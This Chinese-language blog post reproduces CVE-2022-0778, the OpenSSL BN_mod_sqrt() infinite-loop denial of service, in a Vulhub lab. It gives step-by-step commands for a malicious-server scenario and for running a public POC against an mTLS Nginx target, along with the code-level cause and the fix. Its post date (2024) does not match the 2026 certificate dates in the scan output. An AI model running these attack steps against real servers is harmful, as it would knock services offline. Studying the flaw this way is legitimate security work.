2744 字
14 分钟
OpenSSL 拒绝服务漏洞(CVE-2022-0778)复现

CVE-2022-0778 是 OpenSSL 大数运算库 BN_mod_sqrt() 函数的无限循环漏洞。该函数实现 Tonelli-Shanks 算法计算模平方根,前提是模数 pp 为素数,但入口没有素性校验;攻击者构造包含合数模数的 X.509 证书,任何解析该证书的程序都会陷入死循环,进程 CPU 占用率升至 100%,构成拒绝服务。证书解析发生在签名验证之前,攻击证书无需有效签名,攻击者也无需通过任何身份验证。CVSS 7.5,影响 OpenSSL 1.0.2、1.1.1、3.0 三个分支。

复现基于 Vulhub 的 openssl/CVE-2022-0778 靶场(OpenSSL 1.1.1m),覆盖两个场景:正文记录被动场景,诱使目标访问攻击者控制的恶意服务器;最后一节记录主动场景,向开启客户端证书校验(mTLS)的 Nginx 服务直接注入恶意证书。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2022-07787.5OpenSSL 1.0.2–1.0.2zc、1.1.1–1.1.1m、3.0.0–3.0.1拒绝服务攻击(DoS)

漏洞复现#

复现环境准备#

使用 Vulhub 快速搭建漏洞环境:

Terminal window
┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose # 安装 Docker 和 docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/openssl/CVE-2022-0778
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
acdab61f4c10 vulhub/openssl:1.1.1m-with-curl "sleep infinity" 18 minutes ago Up 18 minutes cve-2022-0778-curl-1

查看当前靶机的 openssl 版本:

Terminal window
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ cat docker-compose.yml # 查看容器服务名称
version: '2'
services:
curl:
image: vulhub/openssl:1.1.1m-with-curl
command: sleep infinity
└─$ docker compose exec curl openssl version
OpenSSL 1.1.1m 14 Dec 2021 # 该版本在受影响范围内

恶意服务器搭建#

复现的思路是诱使靶机连接攻击者控制的恶意服务器,在解析证书时触发漏洞。首先搭建恶意服务器,监听 12345 端口,任何连接到此端口的 HTTPS 请求,都会收到一个包含畸形椭圆曲线参数的证书:

Terminal window
┌──(kali㉿kali)-[~]
└─$ docker pull yywing/cve-2022-0778
└─$ docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
start server

查看容器启动情况:

Terminal window
┌──(kali㉿kali)-[~]
└─$ docker ps
e5c6e121cddf yywing/cve-2022-0778 "badserver --addr 0.…" 4 seconds ago Up 4 seconds 0.0.0.0:12345->12345/tcp, :::12345->12345/tcp condescending_sutherland

触发漏洞#

打开一个新的终端窗口,在受害者容器内运行 top 实时监控资源占用,重点关注 %CPU 列,按下 1 可以查看每个 CPU 核心的使用情况:

Terminal window
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker compose exec curl top

top 监控:受害者容器初始状态

回到靶机,模拟受害者访问恶意服务器的过程:

Terminal window
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker compose exec curl bash
root@acdab61f4c10:/# curl -k 192.168.31.152:12345

这时候从先前打开的监控窗口可以看到 curl 的 CPU 使用率飙升至 100%。

top 监控:curl 进程 CPU 占用飙升至 100%

至此完成了被动场景的复现。主动攻击场景见下文“主动攻击 mTLS 目标”一节。

漏洞核心原理#

椭圆曲线密码学(ECC)的运算建立在素数有限域上:曲线参数中的模数 pp 必须是素数,运算才有定义。OpenSSL 解析 X.509 证书中的显式椭圆曲线参数时,会调用大数库的 BN_mod_sqrt() 函数计算模平方根,用于重建椭圆曲线点或校验参数。该函数假定 pp 为素数,入口却没有素性校验,这就是畸形参数能够触发漏洞的位置。

数学基础与算法机理#

模平方根定义#

给定一个整数 aa 和一个素数 pp,若存在 xx 满足:

x2≡a(modp)x^2 \equiv a \pmod p

则称 xx 为 aa 模 pp 的平方根。若此方程有解,则 aa 称为模 pp 的二次剩余(Quadratic Residue)。

Tonelli-Shanks 算法逻辑#

OpenSSL 的 BN_mod_sqrt() 函数实现了 Tonelli-Shanks 算法,用于求解上述方程。算法步骤如下:

  1. 分解:将 p−1p-1 分解为 Q⋅2SQ \cdot 2^S 的形式,其中 QQ 为奇数;
  2. 寻找非剩余:寻找一个 zz,使 zz 是模 pp 的二次非剩余(Quadratic Non-residue);
  3. 迭代计算:通过循环迭代,利用 zz 的幂次逐步修正 aa 的幂次,最终逼近平方根。

漏洞触发核心:合数参数下的无限循环#

Tonelli-Shanks 算法的正确性和收敛性建立在 pp 必须为素数这一数学前提之上。在 pp 为素数的情况下,欧拉准则(Euler’s Criterion)保证了有限域中约有 1/21/2 的元素是二次非剩余,因此算法能以极高概率迅速找到 zz 并进入后续迭代。BN_mod_sqrt() 的文档注释也写明了这一点(‘p’ must be prime!)但函数本身没有执行素性检查。

在 CVE-2022-0778 中,攻击者通过修改证书的 Explicit Curve Parameters,将模数 pp 替换为一个合数。查看 OpenSSL 1.1.1m 中 crypto/bn/bn_sqrt.c 的实现,Tonelli-Shanks 主循环里查找阶的部分如下:

/* find smallest i such that b^(2^i) = 1 */
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
BNerr(BN_F_BN_MOD_SQRT, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}

在素数域下,这段循环最多执行 ee 次就会终止:要么 tt 变为 1(找到阶),要么 ii 递增到 ee 触发保护退出。当 pp 为合数时,模幂运算的周期性质不再成立,tt 可能永远不等于 1;而外层循环每轮会执行 e = i 把 ee 更新为更小的值,一旦 ii 越过了当前的 ee,i == e 这个相等判断就永远不再成立,循环无法终止,进程停留在循环内持续消耗 CPU。

1.1.1n 的修复把这段循环改成了有界形式:

/* Find the smallest i, 0 < i < e, such that b^(2^i) = 1. */
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
/* If not found, a is not a square or p is not prime. */
if (i >= e) {
BNerr(BN_F_BN_MOD_SQRT, BN_R_NOT_A_SQUARE);
goto end;
}

循环边界由 for 语句保证,无论 pp 是否为素数,循环都会在 ee 步内退出,未找到结果时报错返回。

漏洞利用路径:ASN.1 编码注入#

攻击向量构造#

攻击者无需伪造证书签名。利用工具(如 jkakavas/CVE-2022-0778-POC)通过以下步骤构造载荷:

  1. 修改字段:定位 ASN.1 结构中的 prime-field 字段;
  2. 注入合数:将合数编码进 parameters 对象;
  3. 触发解析:将包含该参数的证书作为客户端证书(Client Certificate)在 TLS 握手阶段发送。

绕过验证#

解析逻辑发生在证书链校验(Signature Verification)之前。当服务器(如 Nginx)调用 d2i_X509 系列函数将二进制流转换为内部结构时,就会触发参数解析,CPU 耗尽先于任何证书校验发生,因此攻击证书无需有效签名。

主动攻击 mTLS 目标#

前一节的复现是被动场景:攻击者搭建恶意服务器,等待受害者主动访问。这一节改为主动场景:攻击者直接向目标网站的 TLS 端口注入恶意证书,瘫痪开启客户端证书校验的服务。

搭建环境#

在原来 vulhub/openssl/CVE-2022-0778 目录下新建一个存放证书的文件夹并生成一个自签名的服务器证书:

Terminal window
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker-compose down # 先关闭容器(如果启动)
└─$ mkdir certs
└─$ openssl req -x509 -newkey rsa:2048 -keyout certs/server.key -out certs/server.crt -days 365 -nodes -subj "/C=CN/ST=BJ/L=BJ/O=Test/OU=Test/CN=localhost"
...(密钥生成的进度点输出省略)
-----

在当前目录下创建 Nginx 配置文件:nginx.conf,并开启双向认证 ssl_verify_client on:

events { worker_connections 1024; }
http {
server {
listen 443 ssl;
server_name localhost;
# Nginx 自身的证书
ssl_certificate /etc/nginx/certs/server.crt;
ssl_certificate_key /etc/nginx/certs/server.key;
# 核心设置:要求客户端提供证书,触发漏洞解析逻辑
ssl_verify_client on;
# 指向一个 CA(这里暂时指向我们自己的 crt 即可)
# 漏洞触发在证书解析阶段,早于证书链验证阶段
ssl_client_certificate /etc/nginx/certs/server.crt;
location / {
root /usr/share/nginx/html;
index index.html;
}
}
}

修改原有的 docker-compose.yml 文件,增加 nginx 服务:

version: '2'
services:
curl:
image: vulhub/openssl:1.1.1m-with-curl
command: sleep infinity
nginx:
image: nginx:1.18.0
ports:
- "443:443"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
- ./certs:/etc/nginx/certs:ro

重新拉取镜像启动容器:

Terminal window
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker-compose up -d
└─$ docker ps
7f9bbf12a482 nginx:1.18.0 "/docker-entrypoint.…" 17 minutes ago Up 17 minutes 80/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp cve-2022-0778-nginx-1
c5e20348f12c vulhub/openssl:1.1.1m-with-curl "sleep infinity" 17 minutes ago Up 17 minutes cve-2022-0778-curl-1

验证配置:

Terminal window
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ docker compose exec nginx nginx -T | grep ssl_verify_client
ssl_verify_client on;

输出 ssl_verify_client on;,说明靶机已准备好解析发来的客户端证书。

启动监控:Nginx 官方镜像基于极简的 Debian 或 Alpine 系统,为了减小体积没有安装 top 命令。可以使用 docker stats 监控,无需进入容器内部。攻击前 CPU % 接近 0%。

目标探测#

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
443/tcp open ssl/http nginx 1.18.0
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=localhost/organizationName=Test/stateOrProvinceName=BJ/countryName=CN
| Not valid before: 2026-01-23T17:24:27
|_Not valid after: 2027-01-23T17:24:27
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0
|_http-title: 400 No required SSL certificate was sent
| tls-nextprotoneg:
|_ http/1.1
MAC Address: 00:0C:29:B3:23:74 (VMware)

nginx 1.18.0:确认了服务版本。该镜像内的 OpenSSL 属于受影响版本,这一点由后续攻击成功得到验证。

400 No required SSL certificate was sent:这是最关键的一行。它表明当 Nmap 尝试访问网页时,服务器返回了 400 错误,并明确提示“未发送所需的 SSL 证书”。这证实了靶机的 ssl_verify_client on; 配置已生效。

commonName=localhost/organizationName=Test/stateOrProvinceName=BJ/countryName=CN:这显示了之前手动生成的自签名服务器证书已挂载成功。

发起攻击#

本次复现使用了jkakavas的 POC。较新版本的 Kali Linux 遵循 PEP 668 规范,禁止直接在全局环境中使用 pip 安装包,因此需要创建一个虚拟环境。

Terminal window
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778]
└─$ git clone https://github.com/jkakavas/CVE-2022-0778-POC.git
└─$ cd CVE-2022-0778-POC
┌──(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]
└─$ python3 -m venv CVE-2022-0778-venv
└─$ source CVE-2022-0778-venv/bin/activate # 切换虚拟环境
┌──(CVE-2022-0778-venv)─(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]
└─$ pip install -r requirements.txt # 安装依赖

注意,这个脚本使用了异步库 asyncore,Python 官方在 3.6 版本将其标记为弃用,并在 3.12 版本中彻底移除(PEP 594)。社区为解决这个问题提供了独立的 pyasyncore 包,因此还需要执行 pip install pyasyncore,保证 tlslite-ng 正常运行。

开始攻击:

Terminal window
┌──(CVE-2022-0778-venv)─(kali㉿kali)-[~/vulhub/openssl/CVE-2022-0778/CVE-2022-0778-POC]
└─$ python3 main.py --server 192.168.31.148 --port 443
Crafted Certificate msg sent, check server.

此时立即查看 Nginx 监控,CPU % 从接近 0% 直接跃升并稳定在 100%,说明已经通过注入畸形证书,使 Nginx 的解析进程陷入死循环。

docker stats:攻击后 Nginx 容器 CPU 占用 100%

修复方案#

官方于 2022 年 3 月 15 日发布修复版本:

  • OpenSSL 3.0.2(修复 3.0.0–3.0.1)
  • OpenSSL 1.1.1n(修复 1.1.1–1.1.1m)
  • OpenSSL 1.0.2zd(修复 1.0.2–1.0.2zc;1.0.2 分支已停止主流维护,建议迁移到受支持版本)

代码层面的修复是把 BN_mod_sqrt() 中查找阶的循环改为有界形式(见“漏洞核心原理”一节)。3.0 分支的触发条件略有不同:公钥不在证书初始解析时处理,任何需要用到证书公钥的操作(例如验证自签名证书的签名)都会触发无限循环。

无法立即升级的场景,应避免解析来自不可信来源的证书和私钥。

参考链接#

OpenSSL 拒绝服务漏洞(CVE-2022-0778)复现
https://blog.mal-suen.cn/posts/2024/08/2621/
作者
Malcolm
发布于
2024-08-26
许可协议
CC BY-NC-SA 4.0